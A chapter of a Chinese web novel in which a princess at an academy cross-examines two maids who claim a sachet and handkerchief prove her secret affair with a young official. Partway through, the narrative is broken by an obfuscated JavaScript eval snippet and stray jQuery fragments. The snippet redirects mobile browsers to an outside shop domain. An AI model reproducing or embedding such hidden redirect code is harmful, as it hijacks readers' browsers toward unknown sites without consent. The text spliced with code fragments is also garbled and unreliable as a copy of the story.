“身为书院女侍,你们怎敢无故谎造这样的言论?”李老夫子面色不虞。
“回禀先生,我等并未说谎,只是郡主与季师兄之间实在郎才女貌,所以一时感叹间多说了几句,求先生们恕罪啊。”其中一个女侍回道。
周锦悦皱了皱眉。
莫不是有什么凭证?心里这么想着,眼睛从那两个婢女身上移开,无意间看到了对面的满脸阴沉的陆裕川。
他正看着季承平,不知道在想什么。
周锦悦心里打鼓,陆裕川会不会怀疑她真的和季承平有关系?她和他的婚约本就不确定,如今又来了这么一出事,他会不会改变主意,不履行早上的事情了?
而一旁的白琼意听见此话,不经意间勾了勾唇角,随即便恢复了。
直到听见院长的声音才反应过来。
“你说你并未撒谎,那你因何认为他们二人有私?”
“院长明鉴,我等今日看到季公子身上挂着的香囊,这才这么认为。”
另一名女侍道:“的确,我还看到季公子今日不小心丢了一方帕子,奴婢帮忙捡起来的时候,发现上面绣着昭和郡主的名字,所以才断定这二人情分不一般,早上也只是感叹一番罢了,刚刚管事来找我们,才知此时已经传得这么难听了。”
这名女侍说完,转头朝周锦悦跪拜:“郡主饶命,我们只是想夸赞您与季公子珠联璧合,并无恶意啊!”
另一个也跟着不停地叩头。
陆裕川盯着那两个女侍,眉头皱的能夹死蚊子了。
周锦悦心下冷然。
原来在这里等着她呢。
她基本可以确定,这两人被人收买了。
但是香囊和手帕?她怎么会有东西落在季承平那里?就算是上一世,她在嫁给他之前,可从未给过季承平什么东西。
白琼意用帕子捂住嘴:“昭和,原来你和季公子是这个关系啊,那么说,却并不是冤枉你了。虽说如今传出去确实不好听,但将来你和季公子的婚事一公开,这写谣言便不攻自破了,倒也不必太忧心。”
“淑和郡主,”周锦悦侧身避开两个女侍的跪拜,看着白琼意:“我还未说话,你这便要将我和这人有私情的事情给坐实了?”白琼意看着那双眼睛,只觉得像是一汪寒潭,深不见底,寒气逼人。
但白琼意也不惧:“昭和你误会我了,我只是想,若是真的,你们便成了一段佳话,也是很好的。”
白琼意心底冷笑,若说老师偏袒好学生,此时是行不通的,季承平可比周锦悦的面子大多了,还是朝廷命官。
周锦悦的声音一点都没留情面:“淑和郡主还是不要这么着急替我承认这段佳话了。”
她站出来对这上头坐着的两位作了一揖:“院长,李夫子,我能否先问这二人和季公子几句话?”
贺宏远和李夫子点头,这事与周锦悦息息相关,她想自证清白,自然合情合理。
周锦悦上前两步,看着地上跪着的两人,也不叫起来,杏眸含怒:“你们可是亲眼看到那香囊和手帕上面是我所有之物了?”
其中一位仆从说道:“确实,奴婢平时在知之堂打扫和收拾桌椅的,就上个月,那个时候已经下课了,大家都去了食堂,我进去收拾东西,见昭和郡主正在绣香囊呢,那湖蓝色香囊的左下方还一朵芙蓉花,绣工极好,一般人是做不出来的。”
“而且,而且书院的女学生做的作业一般不会选择绣芙蓉花,奴婢在书院耳濡目染,也知道一些绣品的好坏。芙蓉花极少有绣得昭和郡主那么精致的,是以奴婢一眼就记住了。”那仆从看似惊惶,却将在哪里,哪一日看到的说的很清楚。
看起来那香囊似乎就是属于她周锦悦的。
偏偏此时季承平还火上浇油:“阿悦,你竟在下课的时候还在绣这个,辛苦你了,我必然一直贴身带着。”
此话一出,在场众人除了白琼意和周锦悦两人,都齐齐开始皱眉。
陆裕川从刚开始就皱着眉,而院长和李先生则是觉得,季承平这话,便是肯定了流言中的“私情”二字。
李老先生眼神晦暗不明的看了眼周锦悦,他倒不是说两个孩子私下交往不对。
本来嘛,两个孩子,又是少男少女的,互相爱慕也不是什么大事,“私情”一词说的太难听,真相也未必是这样,他觉得反感的是,周锦悦既然确实和季承平相互爱慕,怎么还要在课堂上撒谎,说什么绝无此事,耍着他玩儿吗?
他的时间可宝贵的很,还没给孩子们上课呢,今天说是自习,那群孩子还不是玩疯了?
而院长皱眉是因为,季承平好像和他往日里的表现不太一样。
平心而论,季承平平日里真的是个好孩子,书院上上下下都喜欢他,他也不负众望,除了家里不如京中那些公子哥富贵,不管是待人接物,还是学习课业,都是极好的。
但刚刚,季承平明明知道他喊人过来,就是为了还周同学一个清白,他却一言不发,一出声就把这件事锤定了。不管是不是真的,这对一个姑娘家来说,都是极为不利的。
若是周锦悦真的和他互相爱慕,季承平但凡在意女方,就不应该锤定这个事情;这个情景,更像是......周锦悦不想和季承平扯上关系,而季承平迫不及待要确定此事。
但事情还没弄清楚,贺宏远也不能就因为自己的感觉就判断季承平人品不行,只能接下来静观其变。
周锦悦都快气笑了,他就这么沉不住气?
周锦悦便只淡淡对季承平说了一句:“季公子,请慎言。”便准备接着问另一个女侍了。
“那你呢?便是因为那手帕上绣着‘周锦悦’,你就确定是我的了?”一旁的白琼意和季承平暗道不好。
“是。”
“你确定你看清楚了?上面绣得的确是‘周锦悦’三个字?”
季承平刚想出列说话,被周锦悦再次出言打断:“请你回答,是,或者不是。”
那女侍一时有些慌。她根本没见过季承平,这是别人教她这么说的,她怎么知道那手帕上面绣的是不是这三个字?但若是她否认,昭和郡主必定要问她,那上面绣得什么字。
周锦悦向前一步逼近那人:“请回答。”
上首的两人皱眉。
那女院的管事见状,便觉得地上的人有问题,便道:“还不快说?”
书院仆从的顶头上司就是书院管事,对他们的畏惧比对各位夫子的大,见管事呵斥,便一时情急,脱口而出:“是‘悦’字。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14205811|150936||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
”
白琼意和季承平提起来的那口气又松了。
这奴婢蒙对了。
周锦悦心中虽有些失望,但并不气馁,接着问道:“那你们二人是在何处看到那香囊和手帕的?什么时间?”
“回禀郡主,是昨日酉时,于月牙门前见到的。”
“季公子昨日酉时就已经到书院了?”
季承平眉眼温和,面容俊美,看着周锦悦的眼中似含着情谊:“是,我昨日下了值便直接过来了。”
周锦悦不看他,又转身躬身问两位管事:“两位先生,我想问下,我记得书院的每个女侍和男侍都有自己的固定位置吧?”
两位管事对周锦悦的印象挺好的,平时看着和和气气的,便照实说了。
女院管事说道:“的确,不管是男侍还是女侍,除了那些工作需要来回跑动的,在干活期间是会一直在自己的那块地方的,不过期间不忙的话,不耽误干活的,我们也就睁只眼闭只眼了。”这是院长也是知晓的,书院对待下人并不苛刻。
“昨日酉时,这二人可是在职期间?”
女院管事点点头:“的确是,因为白日学子们要上课,所以她们只能在大家下学后进去收拾。”
那二人忙磕头:“管事明鉴,我们是偷了会儿懒,还请责罚。”
女院管事严肃道:“此事我这个月结算工钱的时候扣!”虽说平时不算什么,但这会儿明显是出事了,她也表现出自己的态度。
周锦悦笑道:“先生,既然在职期间偷懒,是允许的范围呢,倒也并不着急罚,按照先生平时的作风便可。”
女管事对周锦悦的好感度又上升了一点,瞧瞧,多么善解人意的姑娘。
周锦悦接着道:“那你们是怎么想到去月牙门的?”她似乎已经完全冷静下来的,这会儿更像是在闲聊。
其中一个婢女眼睛一转,开口道:“我,我们是听说,季公子来书院,我们平时便对季公子有所耳闻,便结伴过去看看。”
周锦悦本想问问季承平去月牙门干什么,但是又怕季承平不要脸的说出“是去找你”这种鬼话来,便换了个说法。
“好,你们去月牙门看季公子,而季公子这么巧的就出现在了月牙门,”她停顿了一下,见季承平准备开口,便抢先说道:“就算是真的,那个时候正是黄昏日落之时,光线不明,而你,眼神这么好的就看见季公子身上的香囊属于我了?”
那女侍咬牙:“是,那时虽将近日落,但光线并未完全暗下去,奴婢看清楚了。”
陆裕川原先还有点担心的,但看她不慌不忙,几次抢季承平的话头让他憋着说不出话,不由得有些好笑,反倒冲淡了那种担心,开始安心看戏。
周锦悦终于睁眼看季承平:“季公子,可否把那两样我们有‘私情’的物证,拿给我看下?”
季承平还是眉眼含笑,接下腰间挂着的香囊,从怀里拿出帕子,准备递过去。
周锦悦站的地方离他有点远,中间隔着一个陆裕川,陆裕川便顺手接过,递给了周锦悦。
周锦悦朝他一笑。
季承平看着牙都要咬碎了。
周锦悦拿着这两样物件,仔细端详了一下:“不错,这香囊的确是我的东西。”